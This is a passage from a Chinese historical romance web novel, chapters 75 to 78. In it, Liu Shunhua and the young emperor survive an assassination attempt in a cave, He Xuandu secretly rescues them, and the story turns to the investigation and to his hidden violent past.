柳舜华顺着洞穴朝外望去,“眼下天色已暗,山间猛兽诸如老虎豹子这些,最喜夜间觅食。你又摔伤了腿不能走快,若是碰上,只有被吃干抹净的份。而且,那些刺客,不知道有没追上来,贸然出去,便是自寻死路。他们不过五六人,找起人来,必定比不过禁卫军,咱们安心在此等着才是最安全的。” 刘昌凝眉道:“先是黑熊发疯胡乱攻击,又是刺客突袭,他们明显是有备而来,想必对上林苑极其熟悉,禁军未必能先他们一步找到咱们。” 他说得在理,柳舜华顿时紧张起来。 瞧见一旁几根枯树枝,自己留了一根,一根丢给刘昌。 刘昌接过树枝,看着柳舜华奋力在一块石头上磨来磨去,也跟着慢悠悠地磨起来。 柳舜华瞧着磨得尖尖的树枝,虽然远攻不行,但若万一碰上刺客近身,瞅准机会,也不是没有一击毙命的可能。 她将树枝藏在袖间,一转头,刘昌还在吭哧吭哧地磨。 看柳舜华已经磨好,刘昌直接将磨了一半的树枝扔给她,“我手疼,磨不动了,你帮我磨。” 柳舜华看着已经磨出血泡的手,咬着牙,捡起树枝,继续磨。 刘昌托腮看着她,突然道:“柳舜华,贺玄度他断了腿,这辈子都难有出头之日。不如,你考虑考虑……” “不考虑。”柳舜华头都没抬,“贺玄度即便断了腿,也是这世间最好的儿郎。” 刘昌一声叹息,喃喃道:“贺玄度究竟有什么好的?” 柳舜华将磨好的木棍丢给他,“就比如这个,若是贺玄度在,他就舍不得我动手。” 刘昌尴尬一笑,“那能一样吗,我是皇上,怎么能做这些粗活。” 柳舜华垂下眼,心道,贺玄度即便做了皇帝,也一样舍不得让她动手。 冷风刮过,石碓中的火光忽明忽暗,两人一时沉默。 许久,柳舜华开口问:“不知是何人这么大胆,竟敢趁着狩猎之际行刺杀之事?” 刘昌半张脸埋在阴影里,“我死,谁最有利,便是谁。彭城王,丞相,都有可能。” 柳舜华一愣,没想到他竟然这么毫无顾忌地说了出来。 刘昌抬头,见柳舜华脸色苍白,笑道:“怎么,吓到了?” 柳舜华僵在原地,不停地朝着他摇头,双目惊恐地盯着他身后。 刘昌觉察到不对,下意识地回头,一瞬跳了起来。 一条黑蛇猛地朝他腿上咬了一口。 柳舜华掏出藏在袖间磨尖的木棍,朝着黑蛇七寸刺去,黑蛇身子一扭,倏忽钻入黑暗中。 刘昌脸色煞白,瘫坐在地上,浑身止不住颤抖。 腿上火辣辣地疼,体温正在迅速下降。 柳舜华慌忙上前,一把撕开多余的布料,用力将被咬处的瘀血挤出,扯下自己身上的一块布条,将伤口处包扎起来。 刘昌看着衣摆上一滩血迹,目光逐渐涣散。 他知道,他大约是不行了。 心内的不甘瞬间涌上心头,他才不到二十,他不想死。 柳舜华看他双眸缓缓闭上,忙道:“皇上,你怎么样?” 刘昌无力睁开眼,看到一脸焦急的柳舜华,突然笑了,“你不想我死?” 柳舜华点头。 她当然不想刘昌死,若他死了,她哪里还能活。 刘昌叹声,“真好,至少此刻有你在,我不是一个没人关心在意的可怜虫。” 听他这么说,柳舜华无端有些伤感。她想到了贺玄度,在凉州时,贺玄度也曾这么说过。 “我这辈子活得就像个笑话。幼年承袭王位,上有叔父兄弟虎视眈眈,下有权臣把持国中事务,只有装疯卖傻,让他们放松警惕。” 刘昌看着微弱的火苗,接着道:“好不容易熬到长大些,等到我亲政,却发现,我已经养成了散漫的性子。面具戴得久了,渗进了皮肤,融在脸上,我想扒却怎么也扒不掉。” “我这一生,除去颜太傅与成川,没有一个真正关心我的人。直到那日,春蒙山下,我看到了为我送别的你。” “我以为,你为了我上山去采野果,又特意等着为我送行。我以为,终于有人肯真心待我。”他苦笑一声,“原来,一切都是假的。” 他看着柳舜华,“贺玄度也是如此,他纨绔张扬,戴着假面存活,与我有什么分别。柳舜华,为什么他可以,我却不行。” 柳舜华一愕,不知刘昌为何突然同她说这些,听他提到贺玄度,本能摇头,“不,不一样。” 她与贺玄度两世情缘,这些前尘往事,岂是他人能比得了的。 “柳舜华,你别太天真了,贺玄度没有你想得那么简单。你真的清楚他是什么样的人吗,你了解他吗?你就这么肯定,贺玄度他不会骗你。”刘昌脸色暗沉,“贺玄度他,体内藏着一只猛虎。” 柳舜华摇头,她了解贺玄度,他不会骗她的。 “我见过贺玄度杀人,三年前,在济阳。”刘昌冷冷道:“他出手狠辣,一下便将那人脖子扭断,没有丝毫犹豫。” 一股寒气瞬间窜上脑门,柳舜华一颤。 不知为何,她突然想到了前世。 她被程氏身边的刘嬷嬷刁难,大冬天克扣了木炭,气得与她理论起来。刘嬷嬷根本不将她放在眼里,反将她好一番羞辱。芳草与妙灵气不过,双方便起了冲突。 刘嬷嬷仗着人多势众,按住芳草与妙灵,劈头盖脸便是一顿打。 她心疼不已,又气自己无用,连累了她们,一来二去,便病倒了。 三日后,她病好起床,听芳草与妙灵说,刘嬷嬷死了。 她以为是病死,只叹一句报应不爽。 芳草与妙灵却说,刘嬷嬷是被人活生生扭断了脖子,扔在了池塘。 刘嬷嬷死得蹊跷,当时,她便隐隐有些不安。 如今无端想起旧事,只觉一阵天旋地转。 贺玄度,他到底是什么样的人? 她曾笃定,她了解贺玄度,如今却突然有些看不明白了。 刘昌笑得得意,“怕了吧?柳舜华你是不是后悔了,没有选我,选了个疯子。” 柳舜华回过神,用一种极淡的口吻道:“是你看错了,贺玄度他不会武功,更没去过济阳。” 刘昌气结,“柳舜华,你真是……算了,反正我都快要死了,你要怎样,都随你。” 柳舜华忙转移话题,“皇上,别灰心,算算时辰,禁军应该很快便能来了。” 刘昌叹了一口气,无力道:“可我中了毒,怕是撑不到了。” “什么毒?”柳舜华想起方才的黑蛇,“你该不会是觉得你中了蛇毒吧,那是条乌梢蛇,没有毒的。” 刘昌:…… 怪不得方才他说了这么多,原来他是以为自己要死了。 这些话,可都是他的秘密,如今却被她听了去。 柳舜华反应过来,提心吊胆,“皇上,你这会,不会要杀了我灭口吧。” 刘昌别过脸去,灭什么口,他只想撞墙。 场面一时尴尬起来,两人就这么静静地坐着,谁也没再说一句话。 柳舜华坐得腿疼,方换了个姿势,便听到洞口窸窸窣窣的声响,浑身一紧,将袖中的木棍牢牢抓在手上。 她轻声道:“皇上,您得站起来。” 刘昌明显也听到了响动,忍着剧痛,扶着石壁,缓缓起身。 两人贴在石壁上,紧紧盯着前方。 过了好一会,那声音渐渐消失,洞内一片死寂。 两人浑身一松,想是半夜蝙蝠回巢,弄出了声响。 就在此时,一道黑影闪过,迅速朝两人扑来。 柳舜华来不及多想,拉着刘昌便往洞口跑,边跑边大声呼救。 此前不敢大声喊叫,是怕先引来刺客,如今已是生死难料,自然是声音越大越好。 刘昌也反应过来,扯着喉咙大叫:“快来救驾!” 方才离得太远,黑影扑了个空,见两人逃脱,忙追了上去。 刘昌先是摔伤了腿,又被黑蛇咬伤,每跑一下,腿便钻心地疼。 他心一横,急速道:“柳舜华,别管我了,你逃命去吧。” 柳舜华攥住他的手,“说什么呢,靶场上你帮了我,如今有难,我怎么能丢下你独自逃命。” 何况,刺客追得这么急,她又能逃多远。 “抓紧你的木棍,若是被追上,咱们就同他拼了。” 刘昌心中一荡,只觉眼前一片模糊,胸中仿佛烧了一团火。 眼瞧着跑到洞口,突然刀风擦着耳边过去,那黑影追了上来。 柳舜华将刘昌甩到一边,矮身绕到黑影左边,举起木棍朝着黑影脖颈处刺去。 木棍落下的瞬间,黑影握刀的手猛地按住柳舜华的手上,用力一扭。 柳舜华双手吃痛,骨节咔嚓作响,疼得眼泪快流了下来,却始终不肯松手。 黑影懒得与她继续纠缠,一掌击在柳舜华肩上,将她摔了出去。 刘昌也不知从哪来的勇气与力量,手持木棍,大叫一声转头朝着黑影刺去。 黑影一声冷笑,抬手将木棍挥开,伸手掐住他的脖颈。 刘昌被牢牢钳制住,双手拼命拍打,却是无济于事。 柳舜华捂住心口,晃悠悠起身,看到刘昌已经翻起了白眼,挣扎着便要上前。 一抹红影掠过,刘昌连人都没看清,便与那黑影双双倒在地上。 那人站在月光下,长身玉立,宛如苍松,一袭红衣在月光的映衬下,愈发夺目,仿佛燃烧的火焰。 柳舜华呆呆地望着来人,眼泪扑簌簌地落了下来。 贺玄度微微一笑,朝着她张开双臂。 下一刻,柳舜华义无反顾地飞奔过去,一头栽在熟悉的怀抱中。 第76章 第76章夜色旖旎 贺玄度将她揽在怀中,任由她的泪水染湿他的衣襟。 许久,柳舜华抬起头,离开他的怀抱,拉着他左右看了一圈,不胜欢喜。 “你的腿,好了?” 贺玄度顺势靠在柳舜华肩头,皱眉道:“尚未好全,只能站立片刻,这会疼着呢。” 柳舜华忙将他扶到一旁的石墩上,“那你先好好歇歇。” 贺玄度坐下,朝着地上的刘昌看了一眼,嫌弃道:“本来想在大婚前给你一个惊喜,没想到被这厮给搅和了。” 柳舜华看着地上的两人,想起刘昌方才的话,犹疑道:“他们没事吧?” 贺玄度敏锐察觉到柳舜华的迟疑,抬眸望着她,轻笑道:“当然没事,只是晕了而已。你不会以为,我杀了他们吧?” 柳舜华见心思被猜透,忙用手去摸他的腿,“还疼吗?” 贺玄度是有几分在装,但他也的确没撒谎。 自柳舜华帮他改了轮椅,他每日试着站立片刻,前些日子已经能独自站立,只是他腿伤得重,只能勉强支撑一炷香的工夫。 如今一路疾走,山间又多碎石,此刻已经快到了极限。 贺玄度抓住她的手,笑道:“好多了。” 柳舜华坠下之时伤了手,磨木棍又磨得一手泡,被贺玄度一抓,疼得叫了出来。 贺玄度忙松开,举起她的手一瞧,手背上几道划痕,掌心水泡已破,雪水流了一手。 他忙从怀中掏出一方帕子,轻轻帮她擦拭干净,心疼不已,“一定很疼吧?” 柳舜华在洞中一直提心吊胆,压根没顾上手疼不疼,如今贺玄度在旁,彻底没了顾虑,先前的委屈顿时涌上心头,抽抽噎噎地哭出声来。 “我方才……磨了两根木棍防身,又差点被掰断了手,疼死了。” 贺玄度伸手替她拭泪,“我下来得匆忙,没有带药,待会上去,我帮你上药。” 柳舜华慢慢止住了泪,指着地上的两人,“他们怎么办?” 贺玄度想了想,“我腿好之事,还不想让人知道,所以才出手将他们击晕。” 柳舜华不解:“为什么?” 贺玄度朝她一笑,“因为我发现,腿瘸着能做的事,更多。” 一个断腿的贺玄度,在众人眼里,就是个废物。 废物,对任何人都构不成威胁。 柳舜华虽不知他要做什么,但不妨碍她的赞同。 “那等会皇上醒过来,我要怎么解释。” 贺玄度一笑,“解释什么,你也晕倒了,有什么好解释的。” 柳舜华点头,这个主意甚好。 转念一想,又道:“那这个黑衣人呢?” 贺玄度缓缓道:“这个人,我要带走。” 柳舜华转头又朝地上看了看,“他这么重,你拖着会不会太沉?” 贺玄度笑了,“你不问我,为什么要带他走?” 柳舜华:“你这么做,肯定有你的道理。等你什么时候想说了,自然会告诉我。” 贺玄度看了看洞外,“外面几个刺客,全被我解决了,这里很安全。禁军很快便会找到这里,我要走了。” 柳舜华点头,“你一路小心。” 贺玄度起身,将那黑衣人拖至洞口,突然停了下来,“今晚我过去找你。” 柳舜华抬头,幽暗的洞穴内,贺玄度的笑无端添了几分暧昧。 贺玄度走远,柳舜华才回过神,忍不住笑了笑,歪头躺在地上。 刘昌与柳舜华被救出送往行宫,众人都候在殿外,齐刷刷地跪了一地。 柳舜华被安置在偏殿,先醒了过来,御医确认她无事,由着她去了殿外。 才出了门,柳桓安急得上前拉住她,声音不觉颤抖,“蓁蓁,你没事吧?” 柳舜华转了一圈,“兄长放心,你看,好好的。” 柳桓安确认她无事,才问道:“怎么回事,成卫尉说找到你们的时候,你同皇上都晕了过去,洞穴外不远处有几个刺客的尸身。” 柳舜华摸着头,“我同皇上一起跌下山崖后,皇上扭伤了脚,我怕刺客先找到我们,便躲进了山洞。然后不知过了多久,有个刺客追来,我们无力抵抗,被刺客给击晕过去。我醒来时发现在殿内,也很慌张,根本不知发生了什么。” 柳桓安安慰道:“蓁蓁,别怕,没事了。” 柳舜华垂头站在柳桓安身边,一同在旁候着。 贺玄度身影出现得太快,她根本没看清那一掌的轻重,也不知刘昌到底何时才能醒过来。 等了许久,太医终于走了出来。 贺玄晖上前问道:“李太医,皇上怎样了?” 李太医道:“贺大公子放心,皇上无碍。” 贺玄晖疑道:“既无大碍,那为何还未醒来?” 李太医:“兴许是皇上今日太过操劳,又如此折腾,有些倦了,这才睡了过去。” 柳舜华一愕,亏她方才还以为是贺玄度下了死手,打得太重了。 众人面面相觑,睡了? 他们在这跪了这么久,个个提心吊胆,生怕一个不慎便被波及,皇上竟然只是睡着了。 紧接着,成渊走了出来,“皇上已经歇下,诸位请回吧。明日一早皇上醒来,再来问安不迟。” 人群中一片静默,许久才有人战战兢兢问道:“成卫尉,不会再有黑熊和刺客了吧?” 今日接连突生变故,那些世家公子和小姐们被吓得魂不附体,生怕刺杀事件再来一波。 成渊沉声道:“刺客已悉数斩杀,宿苑内有禁军把守,诸位可安心歇息。” 众人得了指示,这才慢慢散去。 成渊突然叫住了柳桓安,“贺大公子,柳刺史,还劳烦稍候片刻。我有些事想与二位商讨,不知是否方便?” 两人相互一望,成渊特意留下两人,定是要商讨此次刺杀事件,遂点了点头。 柳桓安转过头,对着柳舜华道:“蓁蓁,你先回去,今晚好生歇息。” 柳舜华道:“兄长,那我先回去了。” 柳桓安在人群中扫了一眼,不满道:“贺玄度呢,出了这么大的事,怎么不见他人?” 周松等在柳舜华身旁,忙道:“公子今日劳累一整日,听闻柳小姐失踪,急火攻心,晕了过去,这会儿人还没醒呢。” 柳桓安皱眉,这个贺玄度,也太弱了些。 但想到他今日狩猎夺魁,又身患残疾,眉头又舒展开来。 已是夜 半,柳舜华简单沐浴后,擦干头发,来到窗案前坐下。 想着贺玄度今夜要来,她推开了窗,朝着外面望去。 庭院被霜色笼盖,静谧得宛似一幅素帛画。冷风吹过,竹林枝叶婆娑,月光在庭院内幽幽浮浮。 月色朦胧,烛火映照下,她突然觉得她这一身旧衣有些碍眼。 原本想着只临时留宿一晚,她随手装了这件单调的缥色袍,实在没想到会在今晚私会。 眼一瞥,瞧见窗边一抹嫣红,玉骨冰质,清香幽幽萦绕在窗台。 她抬手摘了一枝插在青瓷瓶内,红梅映衬下,这一身清淡衣饰倒也妥帖。 收拾好一切,又在铜镜前仔细照了照,镜中女子肤如凝脂,红晕飞腮,双眸盈盈,长发倾泻在肩头,更添几分娇柔。 方将铜镜放下,只听淅淅沥沥之声自窗外传来。柳舜华抬头一看,不知何时竟然下起了小雨。 她怕雨水飞进屋内,忙上前阖上窗子。 雨丝绵绵,轻轻叩击着花窗。柳舜华蹙眉,雨天小路湿滑,贺玄度的腿又不能久站,也不知他今夜能不能来。 她趴在窗边,静静听着外面的雨声。 雨丝簌簌落在屋顶,偶有一滴水珠从屋檐坠落,在窗台溅起微弱的‘叮咚’声,回荡在寂静的庭院内。 夜越来越静,柳舜华眼皮一沉,睡了过去。 不知过了多久,柳舜华梦中迷迷糊糊听到“笃笃笃”三声,猛地惊醒,坐起推开了窗。 一道颀长的身影裹着雾气从窗外翻入,梅枝轻颤,花瓣簌簌而落,飘落在窗台上。 柳舜华喜道:“你来了?” 贺玄度抬头一笑,雨珠顺着他的发丝划过脸颊,沾了水的一张脸愈发面白似玉,温润中带着几分蛊惑人心的妖冶。 柳舜华愣神片刻,伸手将他脸上的雨珠擦干,嗔怪道:“下着雨怎么就来了?” 贺玄度看着她,笑道:“你在等着我,我怎么能不来呢?” 柳舜华把手拿开,嘴硬道:“谁说我在等你,我只是睡不着。” 贺玄度抬头扫了一眼窗台上的红梅,“大半夜的,这么有兴致。” 柳舜华一笑,绕到窗边将窗重新阖上,倒了一杯热茶递过去。 “你的腿才好一点,今日又来回奔波,快坐下歇歇吧。” 贺玄度坐定,小心翼翼地展开衣袍,缓缓从怀中拿出一个雪团子。 “送你的,小兔子。” 柳舜华忙伸手去接,小兔子想是被他一路护在怀里,并未沾上半分水气,浑身暖乎乎的。 她摸着柔软的毛发,“你今日猎到的?” 贺玄度拍了拍衣襟上的雨珠,“嗯,从李季方手里夺的。” 柳舜华想起白日里有人回禀刘昌,说李季方受了伤。 “李季方是你伤的,就为了这只兔子?” “不全是吧,他有意挑衅我,我总要让他吃些苦头。”贺玄度伸手揉了揉小兔子,“而且,你不觉得这只兔子,很像小白吗?我欠你一个小白,如今,总算是还你了。” 小白?柳舜华猛地记起,这茬她倒忘了。 当时她只是为了取得贺玄度的信任,随口编的故事,没想到他还一直记得。 她尽量露出一丝自然的微笑,“像,简直太像了。贺玄度,你真的好厉害,这么像的都被你找到了。” 贺玄度摸了摸鼻子,“这也不是什么难事,你若喜欢,日后咱们可以养一窝兔子。” 柳舜华不禁笑道:“人家都说养一群孩子,哪有养……” 话未说完,便意识到不妥,他们尚未成婚,她就在他面前谈论孩子,实在有些不太矜持,忙垂头咳了几声掩饰尴尬。 贺玄度低头一笑,走到窗边,将放在窗外的笼子拿出,伸手将小白塞了进去。 柳舜华笑道:“你倒是想得周到。” 贺玄度从袖中掏出一瓶药膏,放在桌上,“待会睡前记得抹上。” 柳舜华拿过药膏,开口道:“你要走了?” 贺玄度歪头凑到她跟前,“怎么,你舍不得我走?你若舍不得,今夜我便不走了。” 柳舜华猛地后退一步,“你……你说什么呢?” 贺玄度笑得得意,伸手在她脑门上敲了一下,“逗你呢,我就是来给你送小白,这就走。” 柳舜华捶了他几下,推着他道:“雨已经停了,你今日劳累了一日,要好好歇歇才行,快些回去吧。” 贺玄度点头,转身利落地越过窗子,稳稳落在地上。 柳舜华站在窗前,缥色素袍映着灼灼的红梅,虽不施粉黛亦有一种说不出的妩媚灵动。 贺玄度立在窗外,轻声道:“那我走了。” 冷香幽浮,沾满她的衣襟,柳舜华心中不舍,咬唇道:“嗯,路上湿滑,你要留意些。” 贺玄度点头,转身走入黑暗。 柳舜华看着他离去的背影,手扶着窗子,缓缓关上。 还未阖上,一只大手突然伸了出来,用力一推,将那扇半关的窗子重新打开。 柳舜华怔怔地看着去而复返的贺玄度,还未反应过来,贺玄度的吻已经落了下来。 炙热的气息铺天盖地而来,压得她喘不过气,两人粗重的呼吸交缠在一起,唇瓣紧紧相依。 贺玄度握着她的手腕,将她拉在怀里。柳舜华浑身酥软,脊背抵着桌案勉强站立。 慢慢地,他不满只是轻微的碰撞,抵开她的贝齿,在里面攻城略地。 他的急促的呼吸拂过她耳畔,在她耳边低语,呼唤着她的名字,“蓁蓁。” 柳舜华浑身一僵,伸手攀上他的脖颈,压抑了许久的感情肆意反扑。 窗台上,落红浸染在无边的黑暗中,夜色旖旎。 第77章 第77章蓁蓁,你后悔了,是吗 后半夜又下了一场雨。 回廊曲折蜿蜒,朱红的栏杆愈发油润沉静。 檐下的宫铃脆响,悠悠荡荡,清冷的冬日多了几分灵动。 柳舜华昨夜辗转反侧,睡得不太安稳,起得有些晚。 宫人送早膳时,告知皇上已经醒来。 柳舜华匆匆用过早膳,便赶往大殿。 她离大殿不算远,到的时候,人却还是聚集大半。 柳桓安看到她过来,笑着道:“你今日瞧着气色尚可,昨夜睡得可好?” “还好。”柳舜华想了想,又问:“昨日兄长何时回的?” 柳桓安揉着额头,“不过闲谈几句,昨日之事,到底要等皇上醒来才能定夺。” 成渊新提拔上任,底下这些人对他未必信服。刘昌不醒,他做事自然有所顾忌。 “柳御史,柳小姐。”贺玄晖不知何时走了过来。 柳桓安笑着与他寒暄几句。 贺玄晖看着柳舜华,随口问道:“柳小姐身体可好?” “劳大哥费心,蓁蓁并无大碍。”周松推着贺玄度走近。 柳桓安看着贺玄度,狐疑道:“我听说,你昨夜晕倒了,怎么这一大清早的就跑去看了蓁蓁?” 贺玄度脸上的笑容一滞,忙道:“我心忧蓁蓁,故而起得早了些。看过蓁蓁,才用的早膳。” 柳桓安点点头,还算他有心。 不一会,成川从大殿内走出,对着众人道:“皇上已经醒来,用过了早膳,不过圣体欠佳,诸位今日就不必来拜了。皇上口谕,诸位在上林苑内可随意走动,但无诏不得离开。” 刺杀之事未查清,众人皆有嫌疑,刘昌此举,明显是谁也 不信。 说罢又道:“贺大公子、柳御史还请留下,协助查清昨日刺客一案。另,贺二公子与柳小姐,也请一并留下。” 柳桓安看了一眼贺玄度,昨日之事,蓁蓁是当事人,留下自是无话可说,可皇上为何要他也留下。 几人跟着成川进入大殿。 刘昌正悠然坐在榻上,一身常服曳地,墨发半披,几个貌美的宫人围坐左右,喂粥的喂粥,擦嘴的擦嘴,按腿的按腿。 看到有人进来,这才挥了挥手,让她们退下。 “柳小姐,身体可有不妥?”刘昌无视众人行礼,张口便问。 柳舜华心内翻个白眼,还好意思问,面上却挂着笑:“谢皇上关心,并无任何不妥。” 刘昌这才坐正,“今日召你们来,想必你们也知道,是为昨日行刺之事。” 贺玄度左右看了一眼,咳了一声,“皇上,我无官无职,昨日刺杀之时正在狩猎,留下怕是不妥吧。” 刘昌摇头,“谁说你与昨日之事无关?” 柳舜华一怔,难道昨夜洞中,刘昌看到了贺玄度? 刘昌本就对贺玄度疑心,若是看到贺玄度带走刺客,不知会作何想? 贺玄度抬起头,对上刘昌的目光,缓缓道:“是吗?” 刘昌点头,一下下敲击着桌面,“你忘了,吾说过,狩猎魁首,吾封他为镇护将军。吾留下吾的将军,有什么不妥?” 贺玄晖与柳桓安面面相觑,镇护将军,贺玄度? 刘昌竟真要封瘸了腿的贺玄度为镇护将军。 贺玄度一笑,刘昌还真是,异于常人。 不过也好,他倒不介意让自己成为刘昌的人,反而能省去许多不必要的麻烦。 柳桓安还好,他知晓贺玄度大婚后便会去凉州,一个空头衔而已,不必太在意。 贺玄晖脸色却不大好看,任谁都知道,如今丞相府与刘昌关系微妙。他这个节骨眼上,赐了贺玄度这个封号,借此彰显对丞相府并无芥蒂,当真是高明。 贺玄度点头叩谢,“臣,谢皇上隆恩,愿为吾皇赴汤蹈火。” 刘昌摆摆手,话入正题,“刺客的身份,你们可有头绪?” 柳桓安道:“皇上,臣想知道,昨夜您是如何脱困的?” 刘昌摸着后脑勺,“这个……我是被人从后面敲晕的,根本不知道发生了什么。” 又看向柳舜华,“你当时不是正对着洞口,可有看清?” 柳舜华心扑通直跳,她本想说什么都没看到,但作贼心虚,怕他们会怀疑上贺玄度,于是道:“我当时被刺客摔倒在地,头脑不甚清醒,只朦胧瞧着,来人身形高大,穿着像是禁军。怎么,难道不是禁军吗?” 柳桓安皱眉,昨日问起,蓁蓁明明说未看清,怎么如今却又说是禁军。 刘昌有些懵了,“禁军,若真的是禁军,救驾之功,没有道理不出来认啊?” 柳桓安问:“蓁蓁,你再想想,会不会是你看错了?” 柳舜华摸着头,“我也瞧得不是很真切,只是隐隐看到一道红影。” 禁军着赤色,柳舜华此言半真半假,听起来极有可信度。 刘昌猛地一拍桌子,“没错,我记起来了,我倒下的时候,好像的确看到一片红色衣襟。” 柳桓安:“这就怪了,那为何他救了人便离开呢?” 刘昌得意道:“莫非禁军中有人折服于吾的威仪,暗中保护于我。” 贺玄晖猛地一惊,传闻先帝暗中培植一批战力极强的影卫,莫不这并非传言。这批影卫,现下承袭先皇遗志,在暗中保护刘昌。 柳桓安想了想,“昨夜臣与成卫尉去看过刺客的尸身,六名刺客全都是被人活生生扭断了脖子而死,手段狠辣凌厉,瞧着不像是禁军的手段。” 柳舜华闻言,攥紧衣角,刘昌曾说过,他见过贺玄度杀人,杀人之时,便是活活拧断那人的脖子。 怪不得他会让贺玄度进殿,他在怀疑贺玄度。 她忙朝着贺玄度望去,只听贺玄度道:“刺客能先于禁军找到皇上,想是对上林苑地势极其熟悉。此次冬猎,乃皇上临时决定,能这么快制定如此周全的计划,必是里通外贼。” 柳桓安点头赞同,“对方此举,明显早有预谋,先是利用黑熊袭击,牵制住禁军主力,又在回主殿必经之路设下埋伏,若对上林苑不熟,根本做不到如此缜密。” 刘昌摸着脖子,问:“射熊观管事之人如今何在?” 成渊忙回禀道:“昨夜臣带人去查,发现监丞已经畏罪自杀。据下面的人说,事发之前,监丞抱了一大坛酒,死活劝他们饮酒,他们迫于无奈,饮了一碗,之后便睡了过去。等再醒来,黑熊已消失得无影无踪。” 刘昌头疼,“看来此案一时半会也查不清。柳御史,听闻你此前协助县尉缉凶查案,此事,便交给你了。贺卿,还望你从中协助。” 从大殿出来,回来宿苑,贺玄度道:“方才,你为何突然说看到了禁军,可是突然想到有什么不妥?” 昨夜之事,事关皇上安危,若他想隐瞒,自然是多一事不如少一事。 柳舜华凝眉,犹豫了一下,“贺玄度,皇上他大约是怀疑你了。” 贺玄度不解,“他为何会怀疑上我?” 柳舜华想了许久,抬眸道:“你此前是不是去过济阳,做什么?” 贺玄度双手紧扣,多年前,为了查清当年先太子反叛一案,他的确到过济阳王城。当时年轻气盛,做事不够周全,查案途中被彭城王的人盯上。为绝后患,他赤手空拳,杀光了那批人。 “去过。”贺玄度如实道,不过却没有告知原因,他不想柳舜华牵扯进这些事中。 柳舜华也不再追问,叹声道:“皇上说,他看到过你杀人……扭断了那些人的脖子。” 贺玄度浑身一僵,想到昨夜洞中柳舜华的反应,沉默良久,才道:“蓁蓁,你怕我,是吗?” 冷风吹着脚边的枯叶,发出沙沙的哀鸣。 他也不懂,他是从什么时候开始变得冷漠可怕的? 大概是娘亲去世那天吧。 西竹院内,孤影摇晃,他跪在娘亲床头。 娘亲脸色惨白,冰凉的手抚在他小小的脸上,用尽最后一丝力气,叫着他的名字:宁儿。 一丝温热溅在他的脸上,他睁大双眼,看到无边的红色在眼前蔓延。 娘亲的手慢慢垂下,看着他的眼哀怨又凄楚,她还想说什么,可头一歪,倒在冰凉的玉枕上。 他拼命摇晃着娘亲的手,却再没得到一丝回应。 仿佛有什么可怕的东西从黑暗中走出,将他一步步拉入黑暗,他怕极了。 他冲出屋内,向着正厅跑去,他要找父亲,找父亲救娘亲。 屋外,丝竹声声,笑声朗朗,屋檐处红绸似血,天地一片喜色。烟花骤起,璀璨光华照亮半壁高宅。 他站在回廊处,静静地看着屋内的父亲。满座宾客举杯相庆,觥筹交错间,父亲望向程氏,眼眸似水,温润生光。 他突然停住了脚步,那一瞬,他好像明白了,父亲根本救不了娘亲。 他一步步往回走,正撞上出来玩烟花的程嘉良。 烟花炸了程嘉良一身,他怒极了,唤来三四个年龄相仿的孩子,将他牢牢按住,像狗一样跪在地上。 他们将烟花塞在他的手里,然后点燃。 他吓得大叫,朝着屋内喊着父亲,拼命挣扎,然而小小的他根本推不开那些敦实的孩子。 烟花炸开了,在他的手中。 一声响彻天际的痛哭终于引来了父亲与众宾客,程嘉良抢先告状,拽着烧烂的衣袍,说他故意将烟花扔在他身上。 程氏眉头蹙起,淡淡说了声“扫兴。” 父亲不由分说,命人将他拖回房间。 他被人拖着,手中的血流了一地,一滴滴,像是为寿宴庆贺的红花,鬼魅而妖异。 他想张口,却怎么也发不出声音。 他好像同娘亲一样,死在了这个无声的暗夜里。 …… 从那以后,他便知,相府不再是他的家。 这里只有淡漠,凉薄,他这条命 ,在父亲眼里,一文不值。 他擦干眼泪,装乖卖巧,讨得祖母欢心。 他戴着一张又一张的面具,时而纨绔,时而良善,时而暴戾,连他自己都忘了他本性如何。 他原本就打算这样过一生,可偏偏遇上柳舜华。 她教他为自己而活,陪着他出生入死,像一束光,照进他沉寂黑暗的世界。 他敛去骨子里的阴冷,淡漠,贪婪地抓住那双温暖他的手,再也不愿放开。 他越来越想做个正常人,撕掉那些虚伪的面具,在日光下,堂堂正正地好好为自己活一遭。 他想为她折春日第一枝春桃,冬日拥炉共饮一盏茶,就这么一直地老天荒下去。 可他终究还是怕,他怕柳舜华看透他病态的扭曲,于是一边试探,一边隐藏。 庭院覆着一层薄霜,枯槁的海棠树下,贺玄度坐在轮椅上。 霜风掠过,他眼睫轻颤,清俊的轮廓显出几分破碎感。 他抬头,望着她,像刑场上的囚徒仰望刽子手即将落下的刀光。 柳舜华沉默,脑中一片混乱,他这算是承认了? 她怕吗?乍然听到刘昌这么说的时候,她的确是怕的。 她见过两世的贺玄度,一个清冷绝尘,光风霁月。一个肆意张扬,桀骜不羁。 可唯独没见过这样的贺玄度,冷漠阴狠,出手毒辣。 他是从什么时候开始有异样的? 如今回想起来,在凉州,遭遇假山匪劫掠时,她便隐隐感觉到,他射出的那一箭,的确带着强大的杀意。 断腿后再回来,他虽竭力装出若无其事的模样,可她就是知道,一切都不一样了。 直到他一箭射穿程嘉良,设计他断腿,又差点杀了张毅,随手解决那些刺客。 这些事,他做起来,未免也太轻车熟路了。 她明白,那些人多半不是什么好人。但她想知道,当一条条鲜活的生命终结在他手里的时候,他到底是怎样的心境? 她自以为了解贺玄度,却发现,她从未真正走入他的生活。 果如刘昌所言,贺玄度体内藏着一只猛虎。 见她沉默,贺玄度终是忍不住开口。 “蓁蓁,你后悔了,是吗?”他声音极淡,带着微微的凉意,像是要融入雾气中。 他垂头,不敢再去看她的眼,掌心被生生掐出血痕,却觉不出疼。 檐角铜铃被风吹得轻响,每一声都像敲在心头。 头顶海棠枯叶落在肩头,他却连拂去的力气都没有。 一个念头朝他疯狂叫嚣: 她一定是后悔了! 若是她后悔了,他就…… 一阵冷香飘过,柳舜华蹲下身,拂去他肩上的落叶。 她抓起他冰凉入骨的双手,紧紧攥在掌心。 “我怕的不是你杀人,而是怕你被杀人的快感以及暴戾裹挟。” 贺玄度愕然抬头,眼中有光闪过。 柳舜华一笑,“你听好了,要嫁给你,我从不后悔。眼下不会,日后更不会。” 贺玄度,别怕。 我可以将你一点点拉出泥潭,就像上辈子你对我一样。 第78章 第78章野鸳鸯 未时,天色开始阴沉起来。 不到一刻,天空中飘飘洒洒落了雪。起初不过是一些碎粒,不多时雪片鹅毛般飞落在上林苑屋顶黄瓦之上,天地间很快白成一片。 室内生着火,噼啪作响,与雪落在草丛的声音相互应和。 柳舜华推开窗,入眼皓色茫茫,枯树变琼枝,飞花穿庭徘徊,落在窗前的红梅上。 两名宫人轻声推门进来,各自捧着一件狐裘。 